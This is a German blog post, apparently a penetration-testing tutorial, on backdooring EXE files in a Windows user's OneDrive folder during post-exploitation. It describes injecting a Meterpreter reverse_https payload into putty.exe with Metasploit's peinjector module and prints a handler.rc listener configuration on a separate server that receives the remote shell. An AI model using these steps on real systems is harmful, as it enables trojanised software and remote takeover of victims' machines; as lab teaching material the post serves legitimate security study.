Eine Hintertür für EXE-Dateien im OneDrive-Ordner

Die Möglichkeit, einen Metasploit-Payload in ausführbare Dateien einzubetten ist seit längerer Zeit bekannt. Auch andere Projekte wie z.B. die Backdoor Factory oder Veil-Evasion hatten sich dieser Problematik angenommen und bieten entsprechende Tools an.

Im Folgenden haben wir im Testlabor ein Szenario nachgestellt, wie EXE-Dateien in einem OneDrive-Laufwerk eines Windows-Nutzers mit einem Metasploit-Payload in der Phase der Post-Exploitation infiziert werden können

Das Szenario

Die folgende Grafik beschreibt unsere Vorgehensweise. Wir gehen im ersten Schritt (1) davon aus, dass wir uns während des Penetrationstest bereits in der Phase der Post-Exploitation befinden und eine Meterpreter-Session zum Windows-Target besitzen.

In dieser Session finden wir heraus, dass der angemeldete Nutzer (John) ein OneDrive-Laufwerk (2) nutzt, in dem sich diverse EXE-Dateien befinden. Diese hat er offensichtlich heruntergeladen, um sie auch von diesem Ort zum Einsatz zu bringen. Wir entdecken hier die Datei putty.exe und infizieren sie mit einem Reverse-Payload, der eine Verbindung zu einem Linux-Server (3) sicherstellt.

Damit Sie mich nicht falsch verstehen: Natürlich ist es möglich auch die zweite Metasploit-Session auf die IP-Adresse 192.168.171.130 zu leiten. In diesem Fall möchten wir aber alle Verbindungen zu einem separaten Sever umleiten, sobald eine infizierte EXE-Datei aus dem OneDrive-Laufwerk in Anwendung kommt.

Der Ablauf im Testlabor

Wir sind mit Hilfe eines Windows-Exploits zu einer Meterpreter-Session gelangt und nutzen diese, um das Windows-Taget zu erforschen.

Im OneDrive-Verzeichnis des angemeldeten Nutzers finden wir die Datei putty.exe.

Nachdem wir die Session in den Hintergrund gesetzt haben, rufen wir das peinjector-Modul auf und setzen die notwendigen Parameter. Hier ist darauf zu achten, dass die richtige Session, in unserem Beispiel 1, angegeben wird. Der Pfad zur Datei putty.exe sollte in Anführungszeichen gesetzt werden, da sonst der Backslash in der Zeichenkette nicht ordnungsgemäß dargestellt werden kann. Mit dem Kommando run binden wir den gewählte Payload, in unseren Beispiel windows/meterpreter/reverse_https, in  putty.exe ein.

Nun wenden wir uns dem Linux-Server zu und richten hier einen Metasploit-Handler ein, der die eingehende Verbindung vom Windows-Target entgegennehmen soll. Dazu haben wir die Resource-Datei handler.rc mit folgendem Inhalt angelegt.

use multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LPORT 443
set LHOST 192.168.171.164
exploit -j

Sobald die Datei putty.exe auf dem Windows-PC gestartet wird, erhalten wir eine Meterpreter-Session.

Bemerkung:

Die infizierten Dateien werden vom aktuellen Windows-Defender auf einem Windows10-Client als Schadsoftware erkannt und sofort gelöscht. Es bleibt hier also dem Penetrationstester überlassen, welche weiterführenden Techniken er für eine Antivirus-Evasion anwendet.

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.